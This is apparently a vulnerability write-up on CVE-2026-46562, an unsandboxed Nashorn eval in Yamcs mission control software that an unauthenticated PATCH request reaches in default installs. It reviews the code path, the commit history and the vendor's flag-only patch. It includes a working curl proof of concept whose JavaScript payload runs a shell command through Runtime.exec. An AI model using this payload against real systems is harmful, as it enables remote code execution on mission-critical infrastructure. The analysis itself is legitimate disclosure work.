//nefariousplan

CVE-2026-46562: Yamcs's Nashorn Has Never Had a ClassFilter. The Patch Did Not Add One.

vendor

patterns

cve

proof of concept

Yamcs is mission control software, written and maintained in Java by Space Applications Services. Spacecraft commanding, telemetry processing, alarm management; the service that ingests packets from a satellite is the service that sends commands to it. Its ScriptAlgorithmExecutorFactory.java constructor obtains a Nashorn ScriptEngine by calling factory.getScriptEngine(). The Nashorn class on Yamcs's classpath has shipped a getScriptEngine(ClassFilter) overload since JDK 8 in March 2014. The patch for CVE-2026-46562, dated May 2, 2026, did not change which overload Yamcs calls.

The PATCH endpoint that reaches the eval

The disclosed entry point is PATCH /api/mdb-overrides/{instance}/{processor}/algorithms/{name}. The route is defined in yamcs-api/src/main/proto/yamcs/protobuf/processing/mdb_override_service.proto:

rpc UpdateAlgorithm(UpdateAlgorithmRequest) returns (google.protobuf.Empty) {
  option (yamcs.api.route) = {
    patch: "/api/mdb-overrides/{instance}/{processor}/algorithms/{name*}"
    body: "*"
  };
}

The request body is UpdateAlgorithmRequest, which carries an AlgorithmInfo whose text field is a string. The handler is MdbOverrideApi.updateAlgorithm:

ctx.checkSystemPrivilege(SystemPrivilege.ChangeMissionDatabase);
Processor processor = ProcessingApi.verifyProcessor(
        request.getInstance(), request.getProcessor());
List<AlgorithmManager> l = processor.getServices(AlgorithmManager.class);
...
AlgorithmInfo ai = request.getAlgorithm();
...
algMng.overrideAlgorithm(calg, ai.getText());

AlgorithmManager.overrideAlgorithm clones the algorithm definition, replaces its text with the request body, and asks the language-appropriate factory for an executor:

public void overrideAlgorithm(CustomAlgorithm calg, String text) {
    ...
    AlgorithmExecutorFactory factory = getFactory(calg, globalCtx);
    algOverr = calg.copy();
    algOverr.setAlgorithmText(text);
    ...
    AlgorithmExecutor executor = factory.makeExecutor(algOverr, globalCtx);

For a JavaScript algorithm, the factory is ScriptAlgorithmExecutorFactory. Its makeExecutor method calls scriptEngine.eval(functionScript) on the engine the constructor produced:

scriptEngine.put(ScriptEngine.FILENAME, calg.getQualifiedName());
scriptEngine.eval(functionScript);

The functionScript is the algorithm body wrapped in a JavaScript function declaration. The wrapper does not parse, sanitize, or restrict the body. Java.type("java.lang.Runtime").getRuntime().exec(...) inside the body resolves at evaluation time. The full Java reflection surface is reachable from the attacker's JavaScript.

A single curl is enough:

curl -X PATCH http://target:8090/api/mdb-overrides/myproject/realtime/algorithms/MyAlg \
  -H 'Content-Type: application/json' \
  -d '{
    "action": "SET",
    "algorithm": {
      "text": "Java.type(\"java.lang.Runtime\").getRuntime().exec([\"/bin/sh\", \"-c\", \"id > /tmp/yamcs-rce\"]);"
    }
  }'

The algorithm is overridden. The eval runs as the OS user running Yamcs. Mission control software typically runs as a long-lived service account with read access to flight credentials, command signing keys, and the file system holding the mission database.

The default install is unauthenticated superuser

updateAlgorithm requires SystemPrivilege.ChangeMissionDatabase. In a default Yamcs install, every request has it. SecurityStore.java builds a guest user from this spec:

guestSpec.addOption("superuser", OptionType.BOOLEAN).withDefault(true);

And only enables the security subsystem when a security.yaml configuration file exists:

boolean securityConfigured = YConfiguration.isDefined("security");
spec.addOption("enabled", OptionType.BOOLEAN).withDefault(securityConfigured);

When the security subsystem is disabled, setActive(!enabled) activates the guest user, and the guest user is a superuser:

guestUser.setActive(!enabled);
...
guestUser.setSuperuser(guestConfig.getBoolean("superuser"));

A superuser passes every checkSystemPrivilege call. ChangeMissionDatabase resolves to true. The PATCH succeeds without a session token, an Authorization header, or an account in the directory. The disclosure's CVSS:3.1/AV:N/PR:N for a default install is not aggressive; it is what the code does.

When the primitive became reachable from the network

The Nashorn engine constructed without a ClassFilter has existed in Yamcs since commit d531e4b12 in December 2017. For roughly three and a half years it was reachable only through the local XTCE algorithm definitions on disk and through algorithm libraries loaded at startup from operator-owned files. The threat model was operator-supplied files, the same model Yamcs uses for every other configuration artifact.

In April 2021, commit 2d12839b "Add UI for modifying algorithm text" introduced MdbOverrideApi.updateAlgorithm. The commit added 304 lines across the protobuf, the HTTP API, the Angular detail page, and the TypeScript client. It did not add a sandbox to the script engine. It took an interpreter whose threat model was the file system and put a REST PATCH endpoint in front of it.

The same maintainer who wrote that commit wrote the 2026 fix. The five years and twenty-three days between the API's arrival and the disclosure are how long the algorithm interpreter ran with two threat models stacked on top of one another and only the inner one considered.

One commit. Three CVEs. Three eval primitives.

Commit 4ff8fda on May 2, 2026 carries this body:

Disable algorithm edit

When used in an uncontrolled environment this capability
could be exploited for RCE.

GHSA-524g-x36v-9wm6
CVE-2026-44632

GHSA-2g95-6x5q-xjwj
CVE-2026-46621

GHSA-vmwp-vh32-rj75
CVE-2026-46562

Three CVEs, three different interpreters. CVE-2026-46562 is the Nashorn engine in ScriptAlgorithmExecutorFactory. CVE-2026-44632 is the Janino compiler in JavaExprAlgorithmExecutionFactory, where SimpleCompiler.cook(code) compiles attacker-supplied Java source directly into a ClassLoader and the next line resolves the compiled class by name:

SimpleCompiler compiler = new SimpleCompiler();
compiler.cook(code);
Class<? extends AlgorithmExecutor> cexprClass = (Class<? extends AlgorithmExecutor>) compiler
        .getClassLoader()
        .loadClass("org.yamcs.algorithms.javaexpr." + className);

CVE-2026-46621 is the Jython engine, reached through the same JSR-223 ScriptEngine API that hosts Nashorn. Three languages. Three primitives. None of them holds a sandbox.

The fix in 4ff8fda is the same for all three: a single new flag on the processor configuration.

+        if (!processor.getConfig().isOverrideAlgorithmsEnabled()) {
+            throw new MethodNotAllowedException("Capability to update algorithms is not enabled");
+        }

overrideAlgorithmsEnabled is added to ProcessorConfig.java with a default of false. No interpreter constructor in 4ff8fda accepts a sandbox argument it did not accept before. The three eval primitives are untouched. The patch closes the API. It does not close the eval.

The 2022 commit that kept Nashorn alive

In April 2022, commit c3e7039e5 rewrote the exact constructor in ScriptAlgorithmExecutorFactory.java that produces the Nashorn engine. Its commit message:

Yamcs support of JDK15+ was stalled due to Nashorn being removed as a built-in to JDK. The alternative solution on JDK15+ is to use Nashorn from the classpath, however this was causing issues with JDK 1.8-10. Dropping Nashorn is not an option (it is used for algorithm scripts), so this commit removes support for JDK 1.8 to 10.

The before-line was scriptEngine = scriptEngineManager.getEngineByName(language);. The after-lines are:

ScriptEngineFactory factory = scriptEngineManager.getEngineFactories().stream()
        .filter(candidate -> !JDK_BUILTIN_NASHORN_ENGINE_NAME.equals(candidate.getEngineName())
                && candidate.getNames().contains(language))
        .findFirst()
        .orElse(null);

if (factory != null) {
    scriptEngine = factory.getScriptEngine();

The 2022 commit was authored four years before the disclosure, by the same maintainer who would later sign 4ff8fda. Its purpose was explicitly to keep Nashorn alive past its JDK removal. The factory in its hand on the last line of that diff is NashornScriptEngineFactory. The class's public API has carried getScriptEngine(ClassFilter) since JDK 8 was released on March 18, 2014; the JavaDoc names the overload as the way to restrict which Java types scripts can reach.

The 2022 commit went out of its way to keep Nashorn alive across JDK 17. It did not add the ClassFilter overload that has existed since JDK 8.

The vendor's documentation now says "inherent risk"

The same 4ff8fda commit adds a new paragraph to processor-configuration.rst:

overrideAlgorithmsEnabled (boolean)
    If set to true, users with ChangeMissionDatabase system privilege
    can update an algorithm script at runtime.

    .. warning::
        This is disabled by default to avoid the inherent risk of
        Remote Code Execution (RCE).

    Default: false

"Inherent risk of Remote Code Execution." The phrase is the vendor's. The framing is not "we patched it." The framing is "we cannot make it safe within this design, so we are taking it off by default." That is a fair description of what the diff does. It is also an acknowledgement that operators who need the feature to do their job, mission control teams who modify algorithms in flight to handle on-orbit anomalies, the use case that justified adding the API in the 2021 commit, recover the feature by re-enabling the flag and recover the bug with it.

The disclosure timeline is itself worth one line. Commit 4ff8fda is dated May 2, 2026. The GHSA advisory for CVE-2026-46562 was published May 21, 2026 and credited an outside researcher carrying the handle 2BCEB1. The maintainer who wrote the 2021 API commit, the 2022 Nashorn-preservation commit, and the 2026 fix commit did not file the disclosure on the engine they had personally rewritten four years earlier. The reporter did.

What the patch is, and what it is not

This is the unpatchable-primitive shape at its clearest. The bug class is the design's purpose. The component evaluates operator-supplied scripts because the system exists to let operators react to spacecraft in real time. Removing the primitive means removing the reason MdbOverrideApi exists at all. The patch does the next best thing: it makes the API unreachable in the default configuration. The eval primitive on the other side of the flag has not changed.

It is also safe-mode-was-opt-in in its most expensive form. Nashorn's getScriptEngine(ClassFilter) exists. The WPCode plugin's custom capability system was never bound to the post type that gated PHP eval; the safe alternative was sitting in the same plugin, three files away from the unsafe sink. Yamcs is the same shape stretched across a JDK boundary. The safe alternative is in the JDK itself, eleven years old, one constructor argument away from the line Yamcs has been calling since December 2017. The disclosure of three CVEs in May 2026 was an opportunity to switch overloads. The maintainer chose to disable the API instead. Yamcs's own code is still reaching for the factory helper the JDK has been documenting as unsafe for over a decade.

PoC: advisories/GHSA-vmwp-vh32-rj75

The patch closes the path. The eval does not move.